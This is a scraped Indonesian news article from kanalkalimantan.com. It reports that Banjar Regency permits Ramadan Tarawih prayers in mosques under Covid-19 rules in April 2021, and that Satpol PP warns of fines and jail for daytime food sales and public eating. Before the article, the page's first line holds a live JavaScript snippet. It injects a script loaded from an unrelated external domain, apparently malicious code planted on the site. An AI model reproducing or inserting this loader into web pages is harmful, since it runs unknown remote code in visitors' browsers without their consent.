(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten (Pemkab) Banjar memperbolehkan pelaksanaan ibadah di bulan Ramadhan seperti Tarawih berjemaah, Tadarrus Al Qur’an, dan lainnya di masjid dan musala.
Khusus jamaah shalat Tarawih diimbau sebaiknya diprioritaskan pada penduduk sekitar masjid atau musala.
“Kami informasikan berbeda dengan tahun sebelumnya, pada Ramadhan kali ini Pemerintah Kabupaten Banjar mengizinkan pelaksanaan ibadah di bulan Ramadhan, seperti shalat sunat Tarawih berjemaah, Tadarrus Al Qur’an dengan tetap menerapkan standar protokol kesehatan Covid -19,” ujar Plt Kasatpol PP H M Aidil Basith saat melakukan sosialisasi Perda Ramadhan dan petunjuk tentang pelaksanaan ibadah selama bulan Ramadhan, Sabtu (10/4/2021).
Baca juga: Area Pencarian Bripka Mashudin Diperluas, Arus Deras dan Sampah Sungai Martapura Sulitkan Tim SAR
“Khusus Tarawih diimbau sebaiknya jemaah penduduk sekitar masjid atau musala,” ujarnya. Sosialisasi diawali di Majelis Ta’lim Sabilal Anwar Al Mubarak Martapura, HM Aidil Basith langsung bertemu pembina majelis Tuan Guru KH Syukri Unus.
Aidil Basith menyampaikan informasi Perda Ramadhan tentang jam buka berjualan di warung makan dan minum adalah di atas pukul 15.00 Wita.
Dengan tujuan melayani pembeli yang akan mencari menu atau takjil untuk berbuka puasa, dan larangan membuka warung makan dan minum pada saat pagi atau siang hari selama Ramadhan.
Baca juga: Jenazah Anggota Buser Polsek Banjarmasin Tengah Akhirnya Ditemukan
“Jika ditemukan ada pedagang warung yang nakal tetap berjualan dan melayani makan di siang hari, kami dari Satpol PP akan menindak tegas sesuai Perda Ramadhan nomor 5 tahun 2004 berupa denda dan kurungan, dengan ketentuan denda maksimal Rp 2,5 Juta atau kurungan maksimal 3 bulan penjara,” tegasnya.
Sanksi ini juga berlaku bagi mereka yang sengaja merokok minum dan makan di tempat umum berupa denda Rp 50 ribu atau hukuman kurungan 7 hari penjara.
Baca juga: Tim H2D Temukan Bakul Sembako Siap Bagi di Tambak Anyar
Usai bersilaturahmi dan menyampaikan sosialisasi di kediaman Tuan Guru KH Syukri Unus, Plt Kasatpol PP H Aidil Basith melanjutkan ke majelis ta’lim yang dipimpin oleh Tuan Guru KH Munawar di Kampung Melayu, Kecamatan Martapura Timur. (kanalkalimantan.com/mckominfobanjar/rls)
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
This website uses cookies.